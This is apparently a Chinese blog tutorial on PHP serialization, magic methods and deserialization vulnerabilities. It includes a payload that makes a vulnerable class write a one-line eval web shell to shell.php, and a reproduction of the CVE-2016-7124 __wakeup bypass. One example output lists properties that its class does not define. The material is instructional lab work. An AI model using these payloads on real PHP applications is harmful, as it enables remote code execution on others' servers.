zoukankan      html  css  js  c++  java
  • PHP序列化和反序列化漏洞简单介绍

    序列化和反序列化概念及其实现函数

    序列化:就是将一个对象转换为字节序列以便于保存和传输。
    serialize()函数
    例子:

    <?php
    class People {
        public $name;
        public $age;
        public function __construct($name, $age)
        {
              $this->name = $name;
              $this->age = $age;
        }
    }
    $number = 123;
    $str = 'abc';
    $bool = true;
    $null = NULL;
    $arr = array('a'=>1, 'b'=>2);
    $tom = new People('tom', 18);
    
    var_dump(serialize($number));
    var_dump(serialize($str));
    var_dump(serialize($bool));
    var_dump(serialize($null));
    var_dump(serialize($arr));
    var_dump(serialize($tom));
    ?>
    

    输出:
    string(6) "i:123;"
    i表示Integer类型
    string(10) "s:3:"abc";"
    s表示String类型
    3表示长度
    string(4) "b:1;"
    b表示Boolean类型
    string(2) "N;"
    N表示Null类型
    string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
    a表示Array类型
    2表示Array元素个数
    "O:6:"People":4:{s:4:"name";s:3:"tom";s:3:"age";i:18;s:6:"*sex";s:3:"man";s:13:"Peoplehobby";s:8:"football";}"
    O表示Object类型
    6表示类名占6个字符
    People 类名
    4表示4个属性
    s表示字符串
    4表示属性名长度
    name 属性名
    tom 属性值

    这里需要注意一下protected被序列化的时候属性值会变成%00*%00属性名,private会变成%00类名%00属性名。%00是空白符,长度为1。在反序列化,也应加上相应的%00。

    反序列化:是序列化的可逆过程,将字节序列重新恢复成对象。
    unserialize()函数
    例子:

    <?php
    class People {
        public $name;
        public $age;
        public $sex;
        
        public function __construct($name, $age, $sex)
        {
            $this->name = $name;
            $this->age = $age;
            $this->sex = $sex;
        }
    }
    $tom = 'O:6:"People":3:{s:4:"name";s:3:"tom";s:3:"age";i:18;s:3:"sex";s:3:"man";}';
    var_dump(unserialize($tom));
    ?>
    

    输出:
    object(People)#1 (3) { ["name"]=> string(3) "tom" ["age"]=> int(18) ["sex"]=> string(3) "man" }

    魔术方法

    __sleep():在serialize()函数序列化对象时,该函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会被调用,然后才执行序列化操作。可以通过重载这个方法,从而自定义序列化行为。
    例子:

    <?php
    class People {
        public $name;
        public $age;
    	public $sex;
        
    	public function __construct($name, $age, $sex)
        {
            $this->name = $name;
            $this->age = $age;
    		$this->sex = $sex;
        }
    	
    	public function __sleep()
    	{
    		//返回需要序列化的变量名,过滤掉sex变量
    		return array('name', 'age');
    	}
    }
    $tom = new People('tom', 18, 'man');
    var_dump(serialize($tom));
    ?>
    

    输出:
    string(53) "O:6:"People":2:{s:4:"name";s:3:"tom";s:3:"age";i:18;}"
    __wakeup():在unserialize()函数进行反序列化时,会检查类中是否存在__wakeup(),如果存在,__wakeup()方法会对属性进行初始化或者修改。
    例子:

    <?php
    class People {
        public $name;
        public $age;
    	public $sex;
        
    	public function __construct($name, $age, $sex)
        {
            $this->name = $name;
            $this->age = $age;
    		$this->sex = $sex;
        }
    	
    	public function __wakeup()
    	{
    		$this->age = 18;
    	}
    }
    $tom = 'O:6:"People":3:{s:4:"name";s:3:"tom";s:3:"age";i:38;s:3:"sex";s:3:"man";}';
    var_dump(unserialize($tom));
    ?>
    

    输出:
    object(People)#1 (3) { ["name"]=> string(3) "tom" ["age"]=> int(18) ["sex"]=> string(3) "man" }
    其它一些魔术方法

    • __construct()//创建对象时触发
    • __destruct()//对象被销毁时触发
    • __call() //在对象上下文中调用不可访问的方法时触发
    • __callStatic() //在静态上下文中调用不可访问的方法时触发
    • __get() //用于从不可访问的属性读取数据
    • __set() //用于将数据写入不可访问的属性
    • __isset() //用于在不可访问的属性上调用isset()或empty()触发
    • __unset() //在不可访问的属性上使用unset()时触发
    • __toString() //把类当作字符串使用时触发,返回值需要为字符串
    • __invoke() //当脚本尝试将对象调用为函数时触发

    反序列化漏洞

    如果传入反序列化函数的参数可控,并且存在一些魔术方法,就有可能触发造成反序列化漏洞。
    实例1

    在第19行,unserialize函数对传入的info进行了反序列,并将得到的对象赋给了$a,在第21行将$a进行了销毁。在SaveData类中存在着魔术方法__destruct(),该方法中调用了SaveFile()函数用于保存数据到文件中。所有可以通过构造SaveData类的实例,构造一句话,写入当前路径。
    payload:

    O:8:"SaveData":3:{s:8:"dataFile";s:11:"./shell.php";s:7:"tmpData";s:28:"<?php eval($_POST['cmd']);?>";s:4:"name";s:6:"XiaoLi";}
    

    实验结果:

    实例2
    CVE-2016-7124(__wakeup()函数失效可绕过)

    • 漏洞影响版本:
      PHP5 < 5.6.25
      PHP7 < 7.0.10
    • 漏洞分析:
      __wakeup()触发在unserulize()调用之前,但是被序列化的字符串中成员属性数目大于实际数目时可绕过__wakeup()函数的执行。
    • 漏洞复现
    <?php
        /*index.php*/
        error_reporting(0);
        include 'wakeupTest.php';
        $b = unserialize($_POST['info']);
        unset($a);
    ?>
    
    <?php
    /*wakeupTest.php*/
    class User{
        public $name = 'guest';
        public $age = 10;
        public $flag = 'Yes';
        public function __construct($name, $age)
        {
            $this->name = $name;
            $this->age = $age;
        }
        public function __wakeup()
        {
            if($this->age <= 18)
            {
                $this->flag = 'No';
            }
        }
        public function __destruct()
        {
            if($this->flag == 'Yes')
            {
                echo "flag{GoodMan}";
            }
            else
            {
                echo "Banning";
            }
        }
    }
    ?>
    
    • 漏洞利用
      在wakeupTest.php中的__wakeup()会在反序列化时,根据类中的age大小对flag进行修改,而__destruct()会在对象销毁时调用,并输出相应内容。
      首先构造反序列内容:
    O:4:"User":3:{s:4:"name";s:6:"XiaoLi";s:3:"age";i:15;s:4:"flag";s:3:"Yes";}
    

    如果我们直接上传,会得到:

    根据漏洞分析中的条件修改一下,把User后的3改成4:

    O:4:"User":4:{s:4:"name";s:6:"XiaoLi";s:3:"age";i:15;s:4:"flag";s:3:"Yes";}
    

  • 相关阅读:
    异步I/O
    path路径操作
    Buffer类
    ES6常用语法
    GitHub上的基本功能与概念
    git的基本命令
    HTML中的表单
    PyCharm的安装以及破解
    HTML中的表格
    HTML中的列表
  • 原文地址:https://www.cnblogs.com/Son01/p/12939859.html
Copyright © 2011-2022 走看看